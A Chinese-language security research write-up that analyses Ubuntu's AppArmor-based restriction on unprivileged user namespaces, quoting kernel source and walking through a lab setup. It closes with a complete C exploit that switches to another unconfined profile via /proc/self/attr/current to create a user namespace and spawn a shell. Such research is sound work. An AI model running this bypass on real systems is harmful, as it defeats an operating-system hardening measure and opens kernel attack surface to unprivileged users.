---
# System prepended metadata

title: Analyze Ubuntu’s Unprivileged Namespace Restriction bypass

---

# Analyze AppArmor and Ubuntu’s Unprivileged Namespace Restriction bypass
> Author : 堇姬 Naup

## 前言
最近剛好遇到 AppArmor 相關的東東，突然想到 pumpkin 寫過的這篇
https://u1f383.github.io/linux/2025/06/26/the-journey-of-bypassing-ubuntus-unprivileged-namespace-restriction.html

以及 Qualys 的這篇
https://blog.qualys.com/vulnerabilities-threat-research/2025/03/27/qualys-tru-discovers-three-bypasses-of-ubuntu-unprivileged-user-namespace-restrictions

所以順便研究及復現了一下，稍微紀錄

## Unprivileged User Namespace
該機制主要用於在一個 Unprivileged user 下，可以在一個受限的環境裡拿到管理權限，該權限實質上在 host 上仍是 Unprivileged

當可以建立 Unprivileged User Namespace，可以使使用者能摸到更多 kernel 的組件，也增加了攻擊面


## AppArmor
通常我們會通過 `chmod` 來去針對檔案設定，甚麼 user 甚麼 group 可不可以讀取寫入等權限
而 AppArmor 則是直接限制一個程式可以做甚麼，例如可以讀甚麼檔案
更詳細來說，其允許系統管理員透過定義應用程式應被授予哪些資源的存取權限，並拒絕所有其他資源的存取權限來實現最小權限原則
一個程式沒有設定，則以無限制的 Unconfined 設定檔來執行

AppArmor 實作限制了建立 Unprivileged User Namespace 或是其他的建立，因此使得攻擊面變小
這幾篇主要是要說明，如何繞過 AppArmor 來建立 Unprivileged User Namespace

接下來來詳細介紹 AppArmor 用法
先安裝
```
sudo apt install -y  python3-apparmor=3.0.4-2ubuntu2
sudo apt install -y  apparmor-utils=3.0.4-2ubuntu2
```

先準備一個 file
```c
#include <stdio.h>
#include <fcntl.h>  
#include <unistd.h>

int main() {
    int fd = open("/etc/passwd", O_RDONLY);
    if (fd < 0) {
        printf("error to open /etc/passwd\n");
    }

}
```
位於
```
naup96321@naup96321-virtual-machine:~/Desktop/apparmor-test$ pwd
/home/naup96321/Desktop/apparmor-test
naup96321@naup96321-virtual-machine:~/Desktop/apparmor-test$ tree
.
├── apparmortest
└── apparmortest.c
```

接下來要寫 config
可以先通過 `aa-easyprof <binary path> > /etc/apparmor.d/home.naup96321.Desktop.apparmor-test.apparmortest`
產生基礎設定檔
這邊我們添加禁止訪問 /etc/passwd
```c
.apparmortest
# vim:syntax=apparmor
# AppArmor policy for apparmortest
# ###AUTHOR###
# ###COPYRIGHT###
# ###COMMENT###

#include <tunables/global>

# No template variables specified

/home/naup96321/Desktop/apparmor-test/apparmortest {
    #include <abstractions/base>
    deny /etc/passwd r,
    /home/naup96321/Desktop/apparmor-test/apparmortest mr,

    /home/naup96321/Desktop/apparmor-test/** rw,

    capability,
    file,
}
```
輸入這個生效
```
sudo apparmor_parser -r /etc/apparmor.d/home.naup96321.Desktop.apparmor-test.apparmortest
sudo aa-enforce /etc/apparmor.d/home.naup96321.Desktop.apparmor-test.apparmortest
```

執行後就會發現不能開啟了
```
naup96321@naup96321-virtual-machine:~/Desktop/apparmor-test$ ./apparmortest 
error to open /etc/passwd
```

通過 `aa-status` 查看狀態
可以發現其已經在 enforce mode 了
enforce node : 違反 rules 會阻擋及記錄
complain mode : 違反 rules 會記錄
```
naup96321@naup96321-virtual-machine:~/Desktop/apparmor-test$ sudo aa-status
apparmor module is loaded.
62 profiles are loaded.
60 profiles are in enforce mode.
   /home/naup96321/Desktop/apparmor-test/apparmortest

```
順帶一提 `aa-disable` 可以關閉

對 AppArmor 有初步了解後，先來架設環境

## build env
先來裝一台 24.04 ubuntu
https://releases.ubuntu.com/24.04/
開一個 VMware 匯入

裝好後進去可以看到，預設的 kernel version 應該是 6.14.0-35-generic

接下來我們要替換到 vm 上的 kernel 成我們自己編譯的
Ubuntu 是基於原生的 linux kernel 來 patch 的
https://launchpad.net/ubuntu/+source/linux/6.11.0-18.18

在這網站有兩個檔案
一個是原來的 kernel，一個是 diff
這份 diff `6.11.0-18.18` 前面的 `6.11.0` 是 kernel version，`18.18` 是 ubuntu 自己維護的版本
```
wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/linux/6.11.0-18.18/linux_6.11.0.orig.tar.gz
wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/linux/6.11.0-18.18/linux_6.11.0-18.18.diff.gz

tar -xzf linux_6.11.0.orig.tar.gz
gunzip linux_6.11.0-18.18.diff.gz
```

接下來拿 diff patch 後，我拿 host 上的 config 編譯
```
cd linux-6.11.0
patch -p1 < ../linux_6.11.0-18.18.diff

sudo apt install build-essential libncurses-dev flex bison libssl-dev libelf-dev bc
cp /boot/config-$(uname -r) .config
make olddefconfig
make -j8
```

之後要將機器上的 kernel 替換，不過當 install 完後，要進入到 grub 將 kernel 替換，不過我一直抓不到 grub 時間，所以去修改 `/etc/default/grub`

```
sudo make -j8 modules_install
sudo make -j8 install
sudo update-grub
sudo nano /etc/default/grub (edit hidden to menu, timeout 10s)
sudo update-grub
sudo reboot
```

進到 grub 後，Ubuntu 高級選項 -> 選擇對應 kernel version

![image](https://hackmd.io/_uploads/BJLNBy3xbg.png)

進去後就可以看到 kernel 版本已經被替換了
![image](https://hackmd.io/_uploads/HJ9umkngWe.png)

## Analyze

Ubuntu 實作了一套基於 AppArmor 的東西，來讓一般使用者不能創建 unprivileged user namespace ，這個東西可以讓你在某個 namespace 中擁有 root，不過在全局上仍屬於一般使用者，但是通過 unprivileged user namespace ，可以摸到更多 kernel 的組件，以增加攻擊面
舉個例子，若在 host 上使用這個功能
```bash
naup@naup-VMware-Virtual-Platform:~/Desktop/apparmor-test$ ip link set lo up
RTNETLINK answers: Operation not permitted
```

會直接被 reject 掉
但如果設定一個 user namespace 中建立 network namespace，則可以正常執行

這篇主要是要講如何 bypass AppArmor 來重新可以建立 unprivileged user namespace


首先先嘗試在 VM 上建立 unprivileged user namespace
```bash
naup@naup-VMware-Virtual-Platform:~/Desktop/apparmor-test$ unshare -r -n -m /bin/bash
unshare: write failed /proc/self/uid_map: Operation not permitted
naup@naup-VMware-Virtual-Platform:~/Desktop/apparmor-test$ sudo dmesg
[  741.972257] audit: type=1400 audit(1763633042.017:158): apparmor="AUDIT" operation="userns_create" class="namespace" info="Userns create - transitioning profile" profile="unconfined" pid=3980 comm="unshare" requested="userns_create" target="unprivileged_userns"
[  741.981461] audit: type=1400 audit(1763633042.027:159): apparmor="DENIED" operation="capable" class="cap" profile="unprivileged_userns" pid=3980 comm="unshare" capability=21  capname="sys_admin"
```

可以在看到被 reject 了，通過 dmesg 可以看到
第一條當啟動想要創建 namespace 時，他轉換 profile 成 `unprivileged_userns`
在轉換完成 profile 後，在新的受限制環境中，進程嘗試獲取 sys_admin 系統管理員權限，但被 AppArmor 拒絕

可以來看看 patch

```diff
+struct aa_label *aa_profile_ns_perm(struct aa_profile *profile,
+				    struct apparmor_audit_data *ad,
+				    u32 request)
+{
+	struct aa_ruleset *rules = list_first_entry(&profile->rules,
+						    typeof(*rules), list);
+	struct aa_label *new;
 	struct aa_perms perms = { };
-	int error = 0;
+	aa_state_t state;
 
 	ad->subj_label = &profile->label;
 	ad->request = request;
+	int error;
 
-	if (!profile_unconfined(profile)) {
-		struct aa_ruleset *rules = list_first_entry(&profile->rules,
-							    typeof(*rules),
-							    list);
-		aa_state_t state;
-
-		state = RULE_MEDIATES(rules, ad->class);
-		if (!state)
-			/* TODO: add flag to complain about unmediated */
-			return 0;
-		perms = *aa_lookup_perms(rules->policy, state);
-		aa_apply_modes_to_perms(profile, &perms);
-		error = aa_check_perms(profile, &perms, request, ad,
-				       audit_ns_cb);
+	/* TODO: rework unconfined profile/dfa to mediate user ns, then
+	 * we can drop the unconfined test
+	 */
+	state = RULE_MEDIATES(rules, ad->class);
+	if (!state) {
+		/* TODO: this gets replaced when the default unconfined
+		 * profile dfa gets updated to handle this
+		 */
+		if (profile_unconfined(profile) &&
+		    profile == profiles_ns(profile)->unconfined) {
+			if (!aa_unprivileged_userns_restricted ||
+			    ns_capable_noaudit(current_user_ns(),
+					       CAP_SYS_ADMIN))
+				return aa_get_newest_label(&profile->label);
+			ad->info = "User namespace creation restricted";
+			/* unconfined unprivileged user */
+			/* don't just return: allow complain mode to override */
+// hardcode unconfined transition for now
+			new = aa_label_parse(&profile->label,
+					     "unprivileged_userns", GFP_KERNEL,
+					     true, false);
+			if (IS_ERR(new)) {
+				ad->info = "Userns create restricted - failed to find unprivileged_userns profile";
+				ad->error = PTR_ERR(new);
+				ad->ns.target = "unprivileged_userns";
+				new = NULL;
+				perms.deny |= request;
+				goto hard_coded;
+			}
+			ad->info = "Userns create - transitioning profile";
+			perms.audit = request;
+			perms.allow = request;
+			goto hard_coded;
+// once we have special unconfined profile, jump to ns_x_to_label()
+// end hardcode
+		} else if (!aa_unprivileged_userns_restricted_force) {
+			return aa_get_newest_label(&profile->label);
+		}
+		/* continue to mediation */
 	}
 
-	return error;
+	perms = *aa_lookup_perms(rules->policy, state);
+	new = ns_x_to_label(profile, perms.xindex, &ad->ns.target, &ad->info);
+	if (IS_ERR(new)) {
+		ad->error = PTR_ERR(new);
+		new = NULL;
+		perms.deny |= request;
+	} else if (!new) {
+		/* no transition - not done in x_to_label so we can track */
+		new = aa_get_label(&profile->label);
+	} else {
+hard_coded:
+		ad->peer = new;
+	}
```

這段 code 會切換 profile
檢查方式是若當前 profile 是 unconfined 且是預設的 unconfined，就會分配一個 unprivileged_userns 的 profile

```c
// security/apparmor/task.c

		if (profile_unconfined(profile) &&
		    profile == profiles_ns(profile)->unconfined) {
			if (!aa_unprivileged_userns_restricted ||
			    ns_capable_noaudit(current_user_ns(),
					       CAP_SYS_ADMIN))
				return aa_get_newest_label(&profile->label);
			ad->info = "User namespace creation restricted";
			/* unconfined unprivileged user */
			/* don't just return: allow complain mode to override */
// hardcode unconfined transition for now
			new = aa_label_parse(&profile->label,
					     "unprivileged_userns", GFP_KERNEL,
					     true, false);
```

來看看這個 profile
該 profile deny 了所有 capability，也就是說所有需要特殊 capability 的操作都會被拒絕，建立 namespace 的操作缺少了 sys_admin 的 capability，導致建立失敗
```c
// /etc/apparmor.d/unprivileged_userns 

# Special profile transitioned to by unconfined when creating an unprivileged
# user namespace.
#
abi <abi/4.0>,
include <tunables/global>

profile unprivileged_userns {
     audit deny capability,
     audit deny change_profile,

     # allow block to be replaced by allow when x dominance test is fixed
     #allow all,
     allow network,
     allow signal,
     allow dbus,
     allow file rwlkm /**,
     allow unix,
     allow mqueue,
     allow ptrace,
     allow userns,

     # stack children to strip capabilities
     allow pix /** -> &unprivileged_userns ,

     # Site-specific additions and overrides. See local/README for details.
     include if exists <local/unprivileged_userns>
}
```

從上述就可以知道，原本 unconfined 的 profile 被轉換成 unprivileged_userns 是無法建立 namespace 的關鍵，因此要來了解一下

第一個 unconfined 是從這個結構中的 mode flags 比對是否是 `APPARMOR_UNCONFINED`，只要是 unconfined 就行
這件事不太能動，因為切換 AppArmor 模式是需要 root 的，不過若是能切換模式成 enforce 或 complain 就可以 bypass 了
```c
#define profile_unconfined(X) ((X)->mode == APPARMOR_UNCONFINED)

struct aa_profile {
	struct aa_policy base;
	struct aa_profile __rcu *parent;

	struct aa_ns *ns;
	const char *rename;

	enum audit_mode audit;
	long mode;
	u32 path_flags;
	int signal;
	const char *disconnected;

	struct aa_attachment attach;
	struct list_head rules;
	struct aa_net_compat *net_compat;

	struct aa_audit_cache learning_cache;

	struct aa_loaddata *rawdata;
	unsigned char *hash;
	char *dirname;
	struct dentry *dents[AAFS_PROF_SIZEOF];
	struct rhashtable *data;
	struct aa_label label;
};

enum profile_mode {
	APPARMOR_ENFORCE,	/* enforce access rules */
	APPARMOR_COMPLAIN,	/* allow and log access violations */
	APPARMOR_KILL,		/* kill task on access violation */
	APPARMOR_UNCONFINED,	/* profile set to unconfined */
	APPARMOR_USER,		/* modified complain mode to userspace */
};
```

另外一個是檢查，這個 macro 會拿到自身 namespace，並拿到 namespace 的 unconfined 預設設定檔並比對當前 profile，如果一樣就會進到發 `unprivileged_userns` 分支
```c
#define profiles_ns(P) ((P)->ns)

profiles_ns(profile)->unconfined

/* struct aa_ns - namespace for a set of profiles
 * @base: common policy
 * @parent: parent of namespace
 * @lock: lock for modifying the object
 * @acct: accounting for the namespace
 * @unconfined: special unconfined profile for the namespace
 * @sub_ns: list of namespaces under the current namespace.
 * @uniq_null: uniq value used for null learning profiles
 * @uniq_id: a unique id count for the profiles in the namespace
 * @level: level of ns within the tree hierarchy
 * @revision: policy revision for this ns
 * @wait: waitq for tasks waiting on revision changes
 * @listener_lock: lock for listeners
 * @listeners: notification listeners' proxies list
 * @labels: all the labels associated with this ns
 * @rawdata_list: raw policy data for policy
 * @dents: dentries for the namespaces file entries in apparmorfs
 *
 * An aa_ns defines the set profiles that are searched to determine which
 * profile to attach to a task.  Profiles can not be shared between aa_ns
 * and profile names within a namespace are guaranteed to be unique.  When
 * profiles in separate namespaces have the same name they are NOT considered
 * to be equivalent.
 *
 * Namespaces are hierarchical and only namespaces and profiles below the
 * current namespace are visible.
 *
 * Namespace names must be unique and can not contain the characters :/\0
 */
struct aa_ns {
	struct aa_policy base;
	struct aa_ns *parent;
	struct mutex lock;
	struct aa_ns_acct acct;
	struct aa_profile *unconfined;
	struct list_head sub_ns;
	atomic_t uniq_null;
	long uniq_id;
	int level;

	long revision;
	wait_queue_head_t wait;

	spinlock_t listener_lock;
	struct list_head listeners;

	struct aa_labelset labels;
	struct list_head rawdata_list;

	struct dentry *dents[AAFS_NS_SIZEOF];
};
```

而 AppArmor 判斷當前使用的設定檔設定在 `/proc/self/attr` 下
```bash
naup@naup-VMware-Virtual-Platform:~/Desktop/apparmor-test$ ls -la /proc/self/attr
total 0
dr-xr-xr-x 2 naup naup 0 Nov 20 20:52 .
dr-xr-xr-x 9 naup naup 0 Nov 20 20:52 ..
dr-xr-xr-x 2 naup naup 0 Nov 20 20:52 apparmor
-rw-rw-rw- 1 naup naup 0 Nov 20 20:52 current
-rw-rw-rw- 1 naup naup 0 Nov 20 20:52 exec
-rw-rw-rw- 1 naup naup 0 Nov 20 20:52 fscreate
-rw-rw-rw- 1 naup naup 0 Nov 20 20:52 keycreate
-r--r--r-- 1 naup naup 0 Nov 20 20:52 prev
dr-xr-xr-x 2 naup naup 0 Nov 20 20:52 smack
-rw-rw-rw- 1 naup naup 0 Nov 20 20:52 sockcreate
```

嘗試去 `cat /proc/self/attr/current` 可以看到他顯示當前使用的是 `unconfined`，這會顯示當前使用的設定檔是哪一個，並且有寫入權限，因此可以嘗試修改他，不過若直接寫入會失敗，通常需要修改這下面的東西，都需要通過一定格式來修改
這部分來看 code
首先是這部分用來建立 proc 下的東西，其中也包含 current，另外可以看到所有操作都是在 `proc_pid_attr_operations` 這張 vtable 上
```c
// fs/proc/base.c

#define ATTR(LSMID, NAME, MODE)				\
	NOD(NAME, (S_IFREG|(MODE)),			\
		NULL, &proc_pid_attr_operations,	\
		{ .lsmid = LSMID })


static const struct pid_entry attr_dir_stuff[] = {
	ATTR(LSM_ID_UNDEF, "current",	0666),
	ATTR(LSM_ID_UNDEF, "prev",		0444),
	ATTR(LSM_ID_UNDEF, "exec",		0666),
	ATTR(LSM_ID_UNDEF, "fscreate",	0666),
	ATTR(LSM_ID_UNDEF, "keycreate",	0666),
	ATTR(LSM_ID_UNDEF, "sockcreate",	0666),
```

這張 vtable 紀錄了 write 相關的操作
```c
static const struct file_operations proc_pid_attr_operations = {
	.open		= proc_pid_attr_open,
	.read		= proc_pid_attr_read,
	.write		= proc_pid_attr_write,
	.llseek		= generic_file_llseek,
	.release	= mem_release,
};
```

前面會做一些檢查，之後呼叫正確 LSM (看起來像一個 hook，lsmid 選擇哪個 LSM 來處理)
LSM 自己解析 attribute 名稱與內容，並設定
https://lwn.net/Articles/940180/
```c
static ssize_t proc_pid_attr_write(struct file * file, const char __user * buf,
				   size_t count, loff_t *ppos)
{
	struct inode * inode = file_inode(file);
	struct task_struct *task;
	void *page;
	int rv;

	/* A task may only write when it was the opener. */
	if (file->private_data != current->mm)
		return -EPERM;

	rcu_read_lock();
	task = pid_task(proc_pid(inode), PIDTYPE_PID);
	if (!task) {
		rcu_read_unlock();
		return -ESRCH;
	}
	/* A task may only write its own attributes. */
	if (current != task) {
		rcu_read_unlock();
		return -EACCES;
	}
	/* Prevent changes to overridden credentials. */
	if (current_cred() != current_real_cred()) {
		rcu_read_unlock();
		return -EBUSY;
	}
	rcu_read_unlock();

	if (count > PAGE_SIZE)
		count = PAGE_SIZE;

	/* No partial writes. */
	if (*ppos != 0)
		return -EINVAL;

	page = memdup_user(buf, count);
	if (IS_ERR(page)) {
		rv = PTR_ERR(page);
		goto out;
	}

	/* Guard against adverse ptrace interaction */
	rv = mutex_lock_interruptible(&current->signal->cred_guard_mutex);
	if (rv < 0)
		goto out_free;

	rv = security_setprocattr(PROC_I(inode)->op.lsmid,
				  file->f_path.dentry->d_name.name, page,
				  count);
	mutex_unlock(&current->signal->cred_guard_mutex);
out_free:
	kfree(page);
out:
	return rv;
}

// security/security.c

/**
 * security_setprocattr() - Set an attribute for a task
 * @lsmid: LSM identification
 * @name: attribute name
 * @value: attribute value
 * @size: attribute value size
 *
 * Write (set) the current task's attribute @name to @value, size @size if
 * allowed.
 *
 * Return: Returns bytes written on success, a negative value otherwise.
 */
int security_setprocattr(int lsmid, const char *name, void *value, size_t size)
{
	struct security_hook_list *hp;

	hlist_for_each_entry(hp, &security_hook_heads.setprocattr, list) {
		if (lsmid != 0 && lsmid != hp->lsmid->id)
			continue;
		return hp->hook.setprocattr(name, value, size);
	}
	return LSM_RET_DEFAULT(setprocattr);
}
```

從這裡可以找到 hook 的函數是 `apparmor_setprocattr`
```c
// /security/apparmor/lsm.c

atic struct security_hook_list apparmor_hooks[] __ro_after_init = {
	...
	LSM_HOOK_INIT(getselfattr, apparmor_getselfattr),
	LSM_HOOK_INIT(setselfattr, apparmor_setselfattr),
	LSM_HOOK_INIT(getprocattr, apparmor_getprocattr),
	LSM_HOOK_INIT(setprocattr, apparmor_setprocattr),
	...
};
```

向下追可以看到，先找到要設定的屬性，若修改 current 就會轉換成對應 id
接下來 call `do_attr` 來設定該 attribute
```c
// /security/apparmor/lsm.c

static int apparmor_setprocattr(const char *name, void *value,
				size_t size)
{
	int attr = lsm_name_to_attr(name);

	if (attr)
		return do_setattr(attr, value, size);
	return -EINVAL;
}

// security/lsm_syscall.c

/**
 * lsm_name_to_attr - map an LSM attribute name to its ID
 * @name: name of the attribute
 *
 * Returns the LSM attribute value associated with @name, or 0 if
 * there is no mapping.
 */
u64 lsm_name_to_attr(const char *name)
{
	if (!strcmp(name, "current"))
		return LSM_ATTR_CURRENT;
	if (!strcmp(name, "exec"))
		return LSM_ATTR_EXEC;
	if (!strcmp(name, "fscreate"))
		return LSM_ATTR_FSCREATE;
	if (!strcmp(name, "keycreate"))
		return LSM_ATTR_KEYCREATE;
	if (!strcmp(name, "prev"))
		return LSM_ATTR_PREV;
	if (!strcmp(name, "sockcreate"))
		return LSM_ATTR_SOCKCREATE;
	return LSM_ATTR_UNDEF;
}

```

AppArmor 要處理：
```
echo "<command> <args>" > /proc/self/attr/current
echo "<command> <args>" > /proc/self/attr/exec
```

這個 function 就是解析 command，然後呼叫對應的 aa_change_profile / aa_setprocattr_changehat 等 API

所以通過這個方式可以簡單的去操作當前使用的 unconfined profile 了，如通過 `aa_change_profile` 來去設定當前 profile flags，或是當前 profile 是哪個等等，完美~

```c
// security/apparmor/lsm.c

static int do_setattr(u64 attr, void *value, size_t size)
{
	char *command, *largs = NULL, *args = value;
	size_t arg_size;
	int error;
	DEFINE_AUDIT_DATA(ad, LSM_AUDIT_DATA_NONE, AA_CLASS_NONE,
			  OP_SETPROCATTR);

	if (size == 0)
		return -EINVAL;

	/* AppArmor requires that the buffer must be null terminated atm */
	if (args[size - 1] != '\0') {
		/* null terminate */
		largs = args = kmalloc(size + 1, GFP_KERNEL);
		if (!args)
			return -ENOMEM;
		memcpy(args, value, size);
		args[size] = '\0';
	}

	error = -EINVAL;
	args = strim(args);
	command = strsep(&args, " ");
	if (!args)
		goto out;
	args = skip_spaces(args);
	if (!*args)
		goto out;

	arg_size = size - (args - (largs ? largs : (char *) value));
	if (attr == LSM_ATTR_CURRENT) {
		if (strcmp(command, "changehat") == 0) {
			error = aa_setprocattr_changehat(args, arg_size,
							 AA_CHANGE_NOFLAGS);
		} else if (strcmp(command, "permhat") == 0) {
			error = aa_setprocattr_changehat(args, arg_size,
							 AA_CHANGE_TEST);
		} else if (strcmp(command, "changeprofile") == 0) {
			error = aa_change_profile(args, AA_CHANGE_NOFLAGS);
		} else if (strcmp(command, "permprofile") == 0) {
			error = aa_change_profile(args, AA_CHANGE_TEST);
		} else if (strcmp(command, "stack") == 0) {
			error = aa_change_profile(args, AA_CHANGE_STACK);
		} else
			goto fail;
	} else if (attr == LSM_ATTR_EXEC) {
		if (strcmp(command, "exec") == 0)
			error = aa_change_profile(args, AA_CHANGE_ONEXEC);
		else if (strcmp(command, "stack") == 0)
			error = aa_change_profile(args, (AA_CHANGE_ONEXEC |
							 AA_CHANGE_STACK));
		else
			goto fail;
	} else
		/* only support the "current" and "exec" process attributes */
		goto fail;

	if (!error)
		error = size;
out:
	kfree(largs);
	return error;

fail:
	ad.subj_label = begin_current_label_crit_section();
	if (attr == LSM_ATTR_CURRENT)
		ad.info = "current";
	else if (attr == LSM_ATTR_EXEC)
		ad.info = "exec";
	else
		ad.info = "invalid";
	ad.error = error = -EINVAL;
	aa_audit_msg(AUDIT_APPARMOR_DENIED, &ad, NULL);
	end_current_label_crit_section(ad.subj_label);
	goto out;
}
```

## exploit
首先其實蠻清楚應該要做甚麼的，他檢查了兩項，現在可以通過 /proc/self/attr/current 的 `changeprofile` 來去切換當前使用的 profile
那他檢查了當前是不是預設的 unconfined，因此只要找到機器上其他 uncondined 的 profile change 過去就好了，可以通過 `aa-status` 來看機器上有哪些，舉例來說 `toybox` 之類的 profile

```c
if (profile_unconfined(profile) &&
	profile == profiles_ns(profile)->unconfined) {
```

以下是完整 exploit
```c
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>

#define CURRENT_PATH "/proc/self/attr/current"

char cmd[] = "changeprofile toybox";

void w(const char *p, const char *s) {
    int f = open(p, O_WRONLY);
    if (f < 0) exit(1);
    write(f, s, strlen(s));
    close(f);
}

int main() {
    int fd = open(CURRENT_PATH, O_RDWR);
    if (fd < 0) {
        printf("[x] error to open current\n");
        exit(1);
    }

    
    int ret = write(fd, cmd, sizeof(cmd));
    if (ret < 0) {
        printf("[x] error to send cmd\n");
        exit(1);
    }

    if (unshare(CLONE_NEWUSER | CLONE_NEWNS | CLONE_NEWNET) < 0) {
        printf("[x] error to open unprivilege user namespace");
        exit(1);
    }

    w("/proc/self/setgroups", "deny");
    w("/proc/self/uid_map", "0 1000 1");
    w("/proc/self/gid_map", "0 1000 1");
    
    system("/bin/sh");

}
```

## demo
<iframe width="560" height="315" src="https://www.youtube.com/embed/vR0mA53JZTk?si=6jzydcPRZKSHlccz" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>

## After all
遇到最大的坑是我 VM 的 grub 進不去XD